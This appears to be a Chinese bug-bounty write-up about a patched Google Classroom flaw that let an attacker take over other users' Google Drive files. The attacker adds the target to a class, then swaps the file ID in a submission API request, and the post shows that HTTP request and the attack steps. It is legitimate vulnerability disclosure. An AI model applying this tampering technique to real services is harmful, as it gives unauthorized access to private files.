利用Google Classroom漏洞窃取任意用户Google Drive文件

本文详细披露了一个已修复的Google Classroom安全漏洞,攻击者可通过API请求篡改和权限配置绕过,获取其他用户Google Drive文件的完全访问权限。漏洞涉及RBAC校验缺失和 Classroom成员管理机制缺陷。

泄露所有用户的Google Drive文件

大家好!好久不见。我决定撰写一系列关于我过去几年在Google漏洞挖掘中的重大发现。希望在未来几周持续更新这个系列,敬请关注。

本篇将介绍几年前我发现的一个有趣漏洞,该漏洞允许攻击者获取其他用户Google Drive文件的访问权限。Google Drive是文件共享服务,用户可上传Word文档、PDF等文件并共享。若文件为私有状态,未授权用户会收到访问拒绝错误。

今天我将展示如何在不被授权的情况下访问他人Google Drive文件。

需要声明的是,该漏洞已被修复,Google VRP项目支付了丰厚奖金。

漏洞验证

在讲解漏洞细节前,需先了解Google Classroom背景。Google Classroom是为教师/学生提供的在线协作平台(classroom.google.com),教师可发布公告、作业、批改论文等。

当教师发布作业后,学生会在提交页面看到如下界面: (图示:学生提交作业页面)

学生提交作业时可附加文件,例如将Google Drive文档附加至作业后点击提交。

关键问题出现在此处:当学生提交作业时,Google Classroom会将提交文档的所有权转移给班级教师(这是必要的,否则教师无法批阅)。

学生添加Google Drive文件时的API请求示例:

1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",2,"application/vnd.google-apps.ritz",null,null,null,null,null,null,null,null,null,[null,2]]],null,[],null,null,null,null,null,null,null,null,null,null,null,[],[]],[null,true],[]]],[null,true,null,true,true,null,true,true,true,null,null,null,true,null,[true],null,null,null,true,true,true,null,null,null,[[true,true]],[[true,true]]]]

注意其中的值:"1h8tReWm8Cp6bsv24BwMlimFrJ3w1d7sdpxYHfUr1rgw",这是学生提交的Google Drive文件ID。系统未对附件文件所有权进行RBAC校验。

但初步测试发现,直接修改ID无法获取文件访问权限,看似RBAC校验有效。

绕过方案

进一步测试后发现:将目标用户添加为Google Classroom成员后,即可通过上述请求完全访问其Google Drive文件。

完整攻击流程:

  1. 创建Google Classroom,将目标用户添加为班级成员(学生/教师),并创建作业
  2. 添加受控账户作为学生加入班级
  3. 以学生账户提交作业时,修改API请求中的Google Drive文件ID为目标用户的文件ID:
1
2
3
POST /v7/writesubmission?_reqid=4786040&rt=j HTTP/1.1
Host: classroom.google.com
f.req=[[3],[[["18537069787",["46653220298",["41400909728"]]],[["18537069787",["46653220298",["41400909728"]]],null,null,null,[[null,null,"目标用户文件ID",2,"application/vnd.google-apps.ritz"...
  1. 提交作业后即可获得目标用户Google Drive文件的完全访问权限

漏洞演示视频:(含背景音乐,因Google VRP偏好音乐演示)

如有疑问欢迎通过X平台联系:Cam (@SecretlyHidden1) / X

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计